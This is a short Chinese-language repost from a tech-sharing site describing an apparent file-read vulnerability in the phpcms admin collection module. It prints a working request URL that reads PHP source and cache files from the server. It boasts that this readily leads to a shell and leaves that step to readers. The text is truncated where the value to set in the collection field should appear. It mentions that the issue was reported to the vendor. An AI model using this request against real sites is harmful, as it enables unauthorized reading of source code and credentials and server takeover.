phpcms后台读取文件0day的相关问题
来源：爱站网时间：2022-04-18编辑：网友分享
本篇文章主要给大家来介绍下phpcms后台读取文件0day的相关问题，小编觉得这篇文章还不错就分享给大家。接下来的时间就跟爱站技术频道小编来一探究竟吧！
后台采集里设置采集模块中title 或者其他的内容都可以 设置为
然后用下面的代码就可以读取到php的源了。
index.php?clientid=name&url=./caches/caches_scan/caches_data/scan_bad_file.cache.php&_=1344175735957&m=collection&c=node&a=public_test_content&nodeid=1&pc_hash=xxxx
拿到源基本拿到shell不难了。具体如何利用看大家自己了。（别跟我说只会读数据库连接文件，并且还不能连），反正我是可以拿到shell。
修复：已提交给官方，等待补丁
看完上述文章后，相信小伙伴们对这方面的知识点都有了不一样的看法吧！在我们爱站技术频道网站有很多有趣的技术文章，喜欢不妨关注收藏起来。
